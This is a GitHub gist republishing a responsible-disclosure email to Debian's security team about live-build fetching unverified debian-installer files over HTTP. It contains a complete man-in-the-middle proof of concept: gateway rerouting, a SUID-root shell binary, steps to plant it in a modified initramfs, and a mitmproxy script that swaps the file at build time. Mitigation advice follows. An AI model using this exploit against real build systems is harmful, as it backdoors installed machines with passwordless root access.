Skip to content

Instantly share code, notes, and snippets.

@ArrayBolt3
Created January 15, 2025 02:50
Show Gist options
  • Save ArrayBolt3/99d1296a6d82b5a6f2453943eaf85520 to your computer and use it in GitHub Desktop.
Save ArrayBolt3/99d1296a6d82b5a6f2453943eaf85520 to your computer and use it in GitHub Desktop.
Debian live-build MitM Proof of Concept
This is the full text of an originally GPG-encrypted email I sent to
team@security.debian.org regarding a security vulnerability in the
live-build system for live Debian ISO image generation. The Security Team
has indicated that they don't mind me making the details public, so I am
publishing them in accordance with Debian's Vulnerability Disclosure
Process (documented at https://www.debian.org/security/disclosure-policy).
Simple instructions for mitigating the vulnerability are present at the
end of the report, and while the solution mentioned there is not ideal,
it is sufficient in many or most instances.
-----
Subject: live-build MITM/privilege escalation vulnerability -
downloaded debian-installer files are not verified for authenticity
Hello, and thanks for your time. I am reporting an MITM vulnerability in
live-build resulting from failing to verify the authenticity and
integrity of downloaded debian-installer components. This vulnerability
is present if:
* The end-user enables debian-installer on a live image they build
using one of the `lb config --debian-installer` options, and
* The end-user allows live-build to use an insecure HTTP mirror for
downloading the debian-installer components (live-build uses an
insecure mirror for these downloads by default).
This vulnerability can be used to backdoor ISOs built by a system
connected to a malicious network gateway, such that the ISOs provide a
command that grants a root shell without a password. The vulnerability
theoretically requires no user interaction to trigger, aside from having
to pass a `--debian-installer` option to `lb config`. It may also be
possible to compromise the ISO builder host using this vulnerability,
although I have not verified this. The attacker must be positioned
between the victim and the network mirror from which the victim is
attempting to pull debian-installer files from in order to exploit this
vulnerability.
I am using Debian 12 with the XFCE desktop environment to demonstrate
this vulnerability.
-----
Part 1 - Vulnerable code
The vulnerable version of live-build is 1:20240810, though it is very
likely that older versions are vulnerable as well. I have installed it
into a virtual machine by doing the following:
* Clone live-build from
https://salsa.debian.org/live-team/live-build.git.
* Checkout the tag `debian/1%20240810`.
* Ensure all build dependencies are installed (`sudo apt install
dpkg-dev debhelper-compat po4a gettext`).
* Build the package (`dpkg-buildpackage -b -us -uc`).
* Install the package (`sudo apt install
../live-build_20240810_all.deb`).
The vulnerable code in live-build is located in
`live-build/scripts/build/installer_debian-installer`. There are several
parts of the code that are potentially vulnerable, all of which should
most likely be addressed. I will be focusing specifically on the
following parts of the code since they are the easiest to exploit:
353 URL="${LB_PARENT_MIRROR_DEBIAN_INSTALLER}/dists/${LB_PARENT_DEBIAN_INSTALLER_DISTRIBUTION}/main/installer-${LB_ARCHITECTURE}/current/images"
...
359 # Downloading debian-installer
360 Download_file "${DESTDIR}"/"${VMLINUZ_DI}" ${URL}/${DI_REMOTE_BASE}/${DI_REMOTE_KERNEL}
361 Download_file "${DESTDIR}"/"${INITRD_DI}" ${URL}/${DI_REMOTE_BASE}/initrd.gz
...
381 if $DOWNLOAD_GTK_INSTALLER; then
382 mkdir -p "${DESTDIR_GI}"
383 Download_file "${DESTDIR}"/"${VMLINUZ_GI}" ${URL}/${DI_REMOTE_BASE_GTK}/${DI_REMOTE_KERNEL}
384 Download_file "${DESTDIR}"/"${INITRD_GI}" ${URL}/${DI_REMOTE_BASE_GTK}/initrd.gz
385 fi
The `Download_file` function is located in the same script, and reads as
follows:
196 Download_file () {
197 local _LB_TARGET="${1}"
198 local _LB_URL="${2}"
199
200 Echo_debug "Downloading file \`%s\` from \`%s\`" "${_LB_TARGET}" "${_LB_URL}"
201
202 local _LB_CACHE_FILE
203 _LB_CACHE_FILE="${_LB_CACHE_DIR}/$(echo "${_LB_URL}" | sed 's|/|_|g')"
204
205 if [ ! -f "${_LB_CACHE_FILE}" ]
206 then
207 Echo_debug "Not cached, downloading fresh..."
208 mkdir -p ${_LB_CACHE_DIR}
209 if ! wget ${WGET_OPTIONS} -O "${_LB_CACHE_FILE}" "${_LB_URL}"
210 then
211 rm -f "${_LB_CACHE_FILE}"
212
213 Echo_error "Could not download file: %s" "${_LB_URL}"
214 exit 1
215 fi
216 else
217 Echo_debug "Using copy from cache..."
218 fi
219
220 # Use hardlink if same device
221 if [ "$(stat --printf %d "${_LB_CACHE_DIR}/")" = "$(stat --printf %d ./)" ]
222 then
223 CP_OPTIONS="-l"
224 fi
225
226 cp -a -f ${CP_OPTIONS} -- "${_LB_CACHE_FILE}" "${_LB_TARGET}"
227 }
There are three important things to note here:
* `Download_file` is a downloader only, it does not do any further
verification of the downloaded files. Verification is left as the
caller's responsibility.
* No part of `installer_debian-installer` verifies the kernel image or
initramfs files that make up debian-installer.
* `LB_PARENT_MIRROR_DEBIAN_INSTALLER` may be an insecure http:// URL.
Indeed, according to `man lb_config`, it is an insecure URL by
default:
--mirror-bootstrap URL
sets the location of the debian package mirror that should be used to bootstrap the derivative from. This de‐
faults to 'http://deb.debian.org/debian/'.
...
-m|--parent-mirror-bootstrap URL
sets the location of the debian package mirror that should be used to bootstrap from. This defaults to the
value of --mirror-bootstrap.
...
--parent-mirror-chroot URL
sets the location of the debian package mirror that will be used to fetch the packages in order to build the
live system. This defaults to the value of --parent-mirror-bootstrap.
...
--parent-mirror-debian-installer URL
sets the location of the mirror that will be used to fetch the debian installer images. This defaults to the
value of --parent-mirror-chroot.
This boils down to the following conclusion - live-build is downloading
a kernel and initramfs for debian-installer without verifying the
integrity or authenticity of either file, and then installs these files
onto the ISO, where they are later run with kernel-level or root-level
permissions, respectively. A malicious third party positioned in the
network between the victim's mirror and the victim themselves can MITM
the connection, and then provide a malicious kernel or initramfs.
live-build will integrate these malicious files into the built ISO.
-----
Part 2 - Preparing the exploit
The first question in my mind after seeing the above vulnerability is
"how can I use this to infect an ISO, so I can get a root shell on
systems installed from that ISO?" The easiest way I could think of to do
this is to MITM the victim's connection, swapping out debian-installer's
authentic initrd.gz with a malicious one at build time. The malicious
debian-installer replacement would look and behave like
debian-installer, but would plant an SUID-root executable on the
installed system, which would grant a root shell without a password when
executed.
In order to actually implement this, I created two virtual machines in
virt-manager, one "victim" VM for building the infected ISO, and one
"attacker" VM for infecting the ISO at build time. To intercept the
connection, I used mitmproxy with a very simple Python script that
injects a malicious debian-installer initrd.gz when live-build attempts
to download it.
To demonstrate this attack, the first course of action is to install
Debian 12 XFCE into a VM intended to be the "victim". Then clone the VM
to create the "attacker" VM, and install mitmproxy and iptables on the
attacker machine.
Once you have the attacker and victim VMs, set up the victim so that
network traffic is routed through the attacker. (This is required
because the victim and attacker are "siblings" on the network, and we
need the attacker to intercept the victim's communications. Obviously if
the attacker was already in an upstream position (such as the ISP or
router), this would not be needed.)
On the attacker VM, run as root:
sysctl -w net.ipv4.ip_forward=1
sysctl -w net.ipv6.conf.all.forwarding=1
sysctl -w net.ipv4.conf.all.send_redirects=0
iptables -t nat -A PREROUTING -i enp1s0 -p tcp --dport 80 -j REDIRECT --to-port 8080
ip6tables -t nat -A PREROUTING -i enp1s0 -p tcp --dport 80 -j REDIRECT --to-port 8080
ip a # note the IP address of the attacker VM that this command outputs
Note that we are only intercepting port 80 (HTTP), as intercepting HTTPS
would require the victim to install a root certificate provided by the
attacker.
Next, on the victim VM, run as root:
ip route delete default
ip route add default via ATTACKER_IP dev enp1s0
Replace `ATTACKER_IP` as appropriate.
Next, test the MITM setup. On the attacker VM, run `mitmproxy --mode
transparent --showhost`. Then on the victim VM, run `wget
http://example.com`. If all goes well, you should see something similar
to the following output appear in the mitmproxy console:
>> GET http://example.com/
<- 200 text/html 1.2k 73ms
If this happens, the MITM setup is working properly.
The next step is to create a malicious debian-installer initrd.gz on the
attacker VM. First, we need to create a malicious executable for
providing a backdoor. We will use the following C program for this
purpose:
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv) {
setuid(0);
system("/bin/bash");
}
Write this program to a file named `exp.c` on the attacker VM. Then
install gcc, and compile the program with `gcc exp.c`. (Note: Obviously,
this executable is harmless on its own, and making it SUID-root requires
one to have root in the first place. This is not the core of the
vulnerability, the core of the vuln is that we can plant an SUID-root
version of this file into an initramfs that we then trick live-build
into using in place of the authentic initramfs.)
Next, we need to obtain an authentic initrd.gz and modify it. On the
attacker VM, run:
wget https://deb.debian.org/debian/dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz
Next, unpack the initramfs:
gzip -d initrd.gz
mkdir initrd-unpacked
cd initrd-unpacked
sudo cpio -idmv --no-absolute-filenames < ../initrd
Now we can install the malicious executable into the initramfs. On the
attacker VM, run the following commands (assuming the malicious
executable built earlier is at `$HOME/a.out` and your shell is still in
the `initrd-unpacked` directory):
mv $HOME/a.out ./
sudo chown root:root ./a.out
sudo chmod u+s ./a.out
We now need to change some part of the initramfs so that it will install
the malicious executable onto the installed system. There are numerous
parts of debian-installer that could be modified for this purpose,
the one I chose was
`initrd-unpacked/usr/lib/post-base-installer.d/05localechooser`. Near
the top of this script, just after the shebang but before the `set -e`,
add the following line:
cp -a /a.out /target/a.out
Our infected initramfs tree is now set up. To repack it, assuming your
attacker VM's shell is still in the `initrd-unpacked` directory, run:
rm ../initrd
find . | cpio -H newc -ov > ../initrd
gzip -9 ../initrd
(Note: Do not, oh do not forget the `-H newc` when repacking the
initramfs. You'll end up with an ISO that kernel panics if you omit
it. Guess how I learned this...)
Before continuing past this point, we need to test and make sure
everything is going to work as intended. To do this, on the *victim* VM
(not the attacker VM), run
`wget http://deb.debian.org/debian/dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz`.
You should see mitmproxy show that the download has occurred. Move the
resulting `initrd.gz` file to `initrd.gz.orig`. We will compare this
with our infected initramfs in just a bit.
We are now ready to prepare the attacker VM to infect a live-build ISO.
On the attacker VM, close mitmproxy, then create an `mitmattack.py`
file with the following contents:
from mitmproxy import http
def request(flow):
if flow.request.pretty_url.endswith("dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz"):
mal_initrd_file = open("initrd.gz", "rb")
mal_initrd = mal_initrd_file.read()
mal_initrd_file.close()
flow.response = http.Response.make(
200,
mal_initrd,
{"content-type":"application/x-gzip"}
)
Once the file is saved, start mitmproxy on the attacker VM using the
command `mitmproxy --mode transparent --showhost --script
mitmattack.py`. You should notice that mitmproxy shows `[scripts:1]` at
the bottom of its display.
Next, ensure the MITM attack is working. On the victim VM, run
`wget http://deb.debian.org/debian/dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz`
again. Once downloaded, run `cmp initrd.gz initrd.gz.orig`. A
difference between the files should be reported. If this happens,
the MITM setup is working.
We are now ready to exploit live-build.
-----
Part 3: Verifying and running the exploit
Ensure that mitmproxy is running on the attacker VM.
On the victim VM, run `mkdir live-build-exp && cd live-build-exp`. Next,
create a very simple live ISO configuration with `lb config
--distribution bookworm --debian-installer live`. We don't need anything
more than this for testing the exploit. Build the ISO using `sudo lb
build`. You should notice lots of activity in the mitmproxy window on
the attacker VM.
(Note: You will need a moderately fast connection for this to work.
mitmproxy buffers entire files before sending them to the victim
machine, meaning that the victim has to wait for each file to be
entirely buffered before it can start downloading. This will result in
timeouts if your connection is too slow. Around 24Mbps was fast enough
for me.)
Once the ISO is built, test it to see if it is infected or not. In the
victim VM, run the following commands (assuming your shell is still in
the `live-build-exp` directory):
mkdir isomount
sudo mount ./live-image-amd64.hybrid.iso isomount
cp isomount/install/initrd.gz ./
sudo umount isomount
mkdir initrd-unpacked
cd initrd-unpacked
gzip -d ../initrd.gz
sudo cpio -idmv --no-absolute-filenames < ../initrd
ls
If you see an `a.out` file in the unpacked directory, run `stat a.out`
to ensure that the file is owned by root and that the SUID bit has been
preserved. If so, the ISO has been infected successfully. Once you are
done testing this, clean up the unpacked initramfs tree. On the victim
VM, run the following commands (assuming your shell is still in the
`live-build-exp/initrd-unpacked` directory):
cd ..
sudo rm -r initrd-unpacked
rm -f initrd
Finally, we are ready to test the exploit and see if it works. Copy the
infected ISO out of the victim VM using whatever method you prefer (I
used a virtiofs shared folder for this purpose). Then create a new
virtual machine using the infected ISO. When the boot menu
appears, select `Advanced install options`, then select `Text
installer`, then `Install`. Proceed through the installation process
like you normally would.
Once the installation is complete, reboot into the installed, infected
system, log in at the console, and run `ls /`. You should see the
`a.out` file present in the root directory. Next, run `/a.out`. You will
be granted a root shell without a password.
-----
Part 4: Mitigation and Fixes
The easiest way to mitigate this vulnerability to some degree is to
configure an HTTPS mirror to be used for downloading debian-installer
files. This can be done using the `--parent-mirror-debian-installer` and
`--mirror-debian-installer` options in `lb config`. This will thwart
MITM attempts so long as HTTPS remains uncompromised. This doesn't
provide the same security guarantees that would be provided by verifying
the downloaded files, but it would at least frustrate an attacker that
tried to swap out files like in this attack. I would consider this
solution as a stop-gap at best - HTTPS connections have various attacks
that can be used against them (notably downgrade attacks could be a
problem in this scenario), and even if the connection is perfectly
secure, a Debian mirror could still have infected debian-installer
files.
In the long run, the `installer_debian-installer` script should be using
using Debian's repository signature verification system to verify the
integrity and authenticity of every debian-installer file it downloads.
If this was done, HTTPS wouldn't even be necessary, since the files
would not be able to be modified in transit without live-build
noticing. Debian provides signature-protected SHA256 checksums for all
of the debian-installer files (including the initrd.gz file that my
attack intercepts). live-build should use them for their intended
purpose. This would also prevent supply chain attacks since only
checksums signed by Debian's key would be trusted for verifying the
authenticity of downloaded files.
Finally, I would like to stress that **this is not the only way to
exploit this code.** There are other parts of
`installer_debian-installer` that download executable code via a
potentially insecure connection without verification (most notably, a
plethora of udebs are downloaded using `wget` in a loop). **Plugging
this one hole will not make live-build secure against this kind of
attack.** The attacker will just have to pick a different file to
infect.
-----
Final notes
I would like to thank Patrick Schleizer, the lead developer of the
Kicksecure and Whonix projects, for his role in finding this
vulnerability. He first noticed that live-build appeared to be
downloading debian-installer files unverified, and delegated the task of
reviewing the code to me as part of my work with the Kicksecure project.
I've copied him on this report since he is a co-discoverer of the
vulnerability.
Thanks for taking the time to look at this!
--
Aaron Rainbolt
(arraybolt3 on irc.oftc.net, @arraybolt3:ubuntu.com and
@arraybolt3:matrix.org on Matrix)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment